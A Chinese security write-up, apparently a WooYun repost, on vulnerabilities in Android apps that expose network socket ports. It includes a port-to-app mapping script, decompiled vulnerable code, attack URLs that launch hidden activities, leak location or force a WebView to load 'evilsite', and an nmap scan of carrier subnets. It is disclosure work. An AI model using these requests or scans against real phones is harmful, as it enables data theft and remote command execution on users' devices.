浅谈Android开放网络端口的安全风险 – 小荷才露尖尖角

0x00 简介


Android应用通常使用PF_UNIX、PF_INET、PF_NETLINK等不同domain的socket来进行本地IPC或者远程网络通信,这些暴露的socket代表了潜在的本地或远程攻击面,历史上也出现过不少利用socket进行拒绝服务、root提权或者远程命令执行的案例。特别是PF_INET类型的网络socket,可以通过网络与Android应用通信,其原本用于linux环境下开放网络服务,由于缺乏对网络调用者身份或者本地调用者pid、permission等细粒度的安全检查机制,在实现不当的情况下,可以突破Android的沙箱限制,以被攻击应用的权限执行命令,通常出现比较严重的漏洞。作为Android安全研究的新手,笔者带着传统服务器渗透寻找开放socket端口的思路,竟然也刷了不少漏洞,下面就对这种漏洞的发现、案例及影响进行归纳。

0x01 Android开放端口应用定位


简单地利用命令netstat就可以发现Android开放了许多socket端口,如图。但这些开放端口本后的应用却不得而知。

enter image description here

此时可以通过三步定位法进行寻找([email protected]帖子),支持非root手机。

第一步,利用netstat寻找感兴趣的开放socket端口,如图中的15555。

第二步,将端口转换为十六进制值,查看位于/proc/net/目录下对应的socket套接字状态文件,在其中找到使用该socket的应用的uid。如15555的十六进制表示为1cc3,协议类型为tcp6,那么查看/proc/net/tcp6文件。

enter image description here

注意上面的10115,就是使用该socket的应用的uid。通过这个uid可以得知应用的用户名为u0_a115。

第三步,根据用户名就可以找到应用了

enter image description here

至此,我们就知道开放15555端口的应用为com.qiyi.video,尽管我们还不能分辨出开放该端口的准确进程,但仍然为进一步的漏洞挖掘打下基础。

写一个简单的脚本来自动化的完成此项工作.

#!python
import subprocess,re 
def toHexPort(port):
hexport = str(hex(int(port)))
return hexport.strip('0x').upper()
def finduid(protocol, entry):
if (protocol=='tcp' or protocol=='tcp6'):
uid = entry.split()[-10]
else: # udp or udp6
uid = entry.split()[-6]
uid = int(uid)
if (uid > 10000): # just for non-system app
return 'u0_a'+str(uid-10000) 
else:
return -1
def main():
netstat_cmd = "adb shell netstat | grep -Ei 'listen|udp*'"
#netstat_cmd = "adb shell netstat "
grep_cmd = "adb shell grep" 
proc_net = "/proc/net/"
# step 1, find interesting port
orig_output = subprocess.check_output(netstat_cmd, shell=True)
list_line = orig_output.split('\r\n')
apps = []
strip_listline = []
pattern = re.compile("^Proto") # omit the first line
for line in list_line:
if (line != '') and (pattern.match(line)==None):
# step 2, find uid in /proc/net/[protocol] based on port 
socket_entry = line.split()
protocol = socket_entry[0]  
port = socket_entry[3].split(':')[-1]
grep_appid = grep_cmd+' '+ toHexPort(port)+' '+proc_net + protocol 
net_entry = subprocess.check_output(grep_appid, shell=True)
uid = finduid(protocol, net_entry)
# step 3, find app username based on uid
if (uid == -1): continue
applist = subprocess.check_output('adb shell ps | grep '+uid, shell=True).split()
app = applist[8]
apps.append(app)
strip_listline.append(line)
itapp= iter(apps)
itline=iter(strip_listline)
# last, add app in orig_output of sockets
print ("Package                  Proto Recv-Q Send-Q         Local Address          Foreign Address        State\r\n")
try:
while True:
print itapp.next()+' '+itline.next()
except StopIteration:
pass
if __name__ == '__main__':
main()

运行结果如下

enter image description here

除了PF_INET套接字外,PF_UNIX、PF_NETLINK套接字的状态文件分别位于/proc/net/unix和/proc/net/netlink。

当然,如果手机已root,可直接使用busybox安装目录下带p参数的netstat命令,可以显示pid和不完整的program name。

enter image description here

0x02 漏洞挖掘实例


得知某个应用开放某个端口以后,接下就可以在该应用的逆向代码中搜索端口号(通常是端口号的16进制表示),重点关注ServerSocket(tcp)、DatagramSocket(udp)等类,定位到关键代码,进一步探索潜在的攻击面,下面列举一些漏洞实例。

1、敏感信息泄露、控制手机

WooYun-2015-94537:某service打开udp的65502端口监听,接收特定的命令字后可返回手机的敏感信息,包括手机助手远程管理手机的SecretKey,进而未授权的攻击者可通过网络完全管理手机。

CVE-2014-8757, LG On-Screen Phone预装App认证绕过漏洞。

2、命令执行

这类漏洞比较常见,通常通过开放socket端口传入启动android应用组件的intent,然后以被攻击应用的权限执行启动activity、发送广播等操作。由于通过socket传入的intent,无法对发送者的身份和权限进行细粒度检查,绕过了Android提供的对应用组件的权限保护,能够启动未导出的和受权限保护的应用组件,对安全造成影响。

如果监听的端口是在本地,那么可能造成本地命令执行和权限提升,而如果监听的端口是任意地址,则可能造成比较严重的远程命令执行。

3、本地命令执行:

用前面端口应用定位的方法,发现某流行应用实现了一个小型的HTTP Server,监听本地的9527端口,简单搜索分析即可发现向该端口发送如下形式的HTTP请求时可执行命令。

http://127.0.0.1:9527/si?cmp=<pacakgename>_<componentname>&data=<url scheme>&act=<action name>

通过这个简单的HTTP请求,恶意程序就可以传入intent对象的包名、组件名、url和action,接收HTTP请求后执行命令的代码如下:

#!java
...
if(v3.hasNext()) {
Object v6 = v3.next();
if("act".equals(v6)) {
v4.setAction(v10.b.get(v6));
}
if("cmp".equals(v6)) {
String[] v9 = v10.b.get(v6).split("_");
if(v9 == null) {
goto label_39;
}
if(v9.length != 2) {
goto label_39;
}
v4.setComponent(new ComponentName(v9[0], v9[1]));
}
label_39:
if("data".equals(v6)) {
v4.setData(Uri.parse(v10.b.get(v6)));
}
if(!"callback".equals(v6)) {
goto label_13;
}
Object v1_1 = v10.b.get(v6);
goto label_13;
}
if((TextUtils.isEmpty(v4.getAction())) && v4.getComponent() == null && v4.getData() == null) {
if(TextUtils.isEmpty(((CharSequence)v1))) {
return "{\"result\":-20000}";
}
return this.a(v1, "{\"result\":-20000}");
}
List v0 = this.a.getPackageManager().queryIntentActivities(v4, 0);
if(v0.size() == 0) {
if(TextUtils.isEmpty(((CharSequence)v1))) {
return "{\"result\":-10000}";
}
return this.a(v1, "{\"result\":-10000}");
}
try {
this.a.startActivity(v4);
}
...

最终通过HTTP请求设置的Intent对象,传入了startActivity方法,由于需要用户干预,危害并不大。但当packagename指定为该应用自身,componentname指定为该应用的activity时,可以启动该应用的任意activity,包括受保护的未导出activity,从而对安全造成影响。例如,通过HTTP请求,逐一启动若干未导出的activity,可以发现拒绝服务漏洞、对安全有影响的登录界面和有一个可以该应用权限执行任意命令的GUI shell。

远程命令执行:

  1. 趋势科技曾经发现过美团客户端漏洞,可以通过TCP的9527端口传入intent data,进而启动activity,见参考文献[1].

  2. 远程强制webview访问恶意链接

定位到某流行应用实现了一个小型的HTTP Server,在tcp的6677端口监听任意地址,当HTTP请求满足一定条件时可以返回敏感信息,并根据请求消息执行一系列动作。对于该HTTP请求,仅有的防御措施是通过referer白名单的方式判断HTTP请求的来源。在正确设置referer,发送如下HTTP GET请求后

http://ip:6677/command?param1=value1&...&paramn=valuen

可获取手机的敏感信息和实现命令执行。其中command为getpackageinfo、androidamap、geolocation中的其一,见如下代码片段。

enter image description here

(1)当command为geolocation时,可返回安装该应用手机地理位置信息;

(2)当command为getpackageinfo时,默认返回该应用自身的版本信息。此时若指定参数param1为packagename,即请求http://ip:6677/getpackageinfo?packagename=xxx时(xxx为软件包名)可返回手机上安装的xxx所指定的任意软件包版本信息。若xxx为android,可返回android系统版本信息;

(3)当command为androidamap时,设置Intent并将其广播出去,查看对应的OnReceive方法

enter image description here

发现需要指定参数param1为action,即请求

http://ip:6677/androidamap?action=yyy&param2=value2&...&paramn=valuen

时,OnReceive方法取出前面广播intent对象的extra,新建一个intent对象,设置intent uri为

androidamap://yyy?sourceApplication=web&param2=value2&...&paramn=valuen

并以隐式intent的形式启动注册这种uri scheme的activiy。

进一步搜索发现如下代码:

#!java
Uri v0_2 = Uri.parse("androidamap://openFeature?featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url="
+ this.a.m.privilegeLink);
Intent v1 = new Intent(MovieDetailHeaderView.c(this.a).getApplicationContext(), 
NewMapActivity.class);
v1.setData(v0_2);
v1.setFlags(268435456);
MovieDetailHeaderView.c(this.a).startActivity(v1);

表明可以通过远程HTTP GET请求如下地址

http://ip:6677/androidamap?action=openFeature&featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url=evilsite

操纵安装该app的手机继承WebView的Activity访问evilsite,而且这里存在WebView的漏洞,利用方式包括

(1). 窃取私有目录下的敏感文件:远程攻击者或者本地恶意app可以令WebView加载file://域的恶意脚本文件,按照恶意脚本的请求,窃取该应用私有目录下的敏感文件,突破android沙箱限制;

(2). WebView远程命令执行:存在可被网页中js操纵的接口jsinterface。由于该流行应用针对的SDK版本较低(android:minSdkVersion="8"),在Android 4.4.2以下的手机,均可使用该接口,通过js注入该应用进程执行命令。

0x03 漏洞利用场景


对于Android app开放socket端口漏洞的远程利用场景,一般认为Android客户端都在内网,其利用主要还是在非安全的公共WiFi环境,通过对漏洞特征扫描即可利用。但在传统认为安全的移动互联网环境,笔者发现仍然可以扫描到其他开放端口的终端,因此也可以利用这种漏洞。

叙述之前,我们先对典型的移动通信网络架构进行简单的科普,一般教科书上的3G网络架构(WCDMA)如图。

enter image description here

包括以下组成部分:

  1. UE: 用户终端设备,就是手机,为用户提供电路域和分组域内的各种业务功能。

  2. UTRAN: 陆地无线接入网,分为基站(Node B)和无线网络控制器(RNC)两部分。

  3. CN: 核心网络,负责与其他网络的连接和对UE 的通信和管理。主要功能实体包括:

    (1) MSC/VLR:提供CS(电路交换)域的呼叫控制、移动性管理、鉴权和加密等功能;

    (2) GMSC:网关移动交换中心,充当移动网和固定网之间的移动关口局,承担路由分析、网间接续、网间结算等重要功能;

    (3) SGSN:GPRS服务支持节点,提供PS(分组交换)域的路由转发、移动性管理、会话管理、鉴权和加密等功能;

    (4) GGSN:网关GPRS支持节点,提供数据包在WCDMA 移动网和外部数据网之间的路由和封装,GGSN就好象是可寻址WCDMA移动网络中所有用户IP 的路由器,需要同外部网络交换路由信息。

    (5) HLR:归属位置寄存器,提供用户的签约信息存放、新业务支持、增强的鉴权等功能。

  4. External Networks:外部网络,包括ISDN和PSTN等电路交换网络,以及Internet等分组交换网络。

简而言之,移动通信网络无非是大型的“局域网“,它们通过网关路由器(SGSN和GGSN)连上了Internet,进入到了互联网的世界。但是在某些移动通信网络的内部,不同的UE是可以互访的。以前面某应用开放6677端口为例,我们可以做一个简单的实验进行证明。

使用联通3G网络,查看当前IP地址。

enter image description here

在相邻C段进行扫描,扫描到开放端口的手机

nmap -sT --open -p6677 10.160.112.0/24

发现如下结果

enter image description here

这证明在移动网络中,不同的UE可以互访。因此如果开放上述socket端口的app存在漏洞,在移动网络中也是可以利用的。

0x04 小结


对于客户端的远程漏洞利用,从攻击者的角度来看,通常更容易使用“受”的方法,即通过欺骗、劫持或社工的方法来让客户端访问我的攻击载荷。然而,从笔者发现的漏洞案例来看,许多Android应用不正确地使用网络socket端口传入命令进行跨进程通信,而且对于本地应用环境,网络socket也先天缺乏细粒度的认证授权机制,因此把Android客户端当做服务器,使用“攻”的方法,主动向开放端口发送攻击载荷也是可行的。这种漏洞一旦存在,轻则本地提权,重则为远程利用的高危漏洞,3G移动网络允许UE互访更是加剧了这种风险。

此外,除PF_INET外,PF_UNIX、PF_NETLINK域的套接字也是值得关注的本地攻击面。

参考文献:[1] http://blog.trendmicro.com/trendlabs-security-intelligence/open-socket-poses-risks-to-android-security-model

原文链接:http://drops.wooyun.org/mobile/6973

评论已关闭。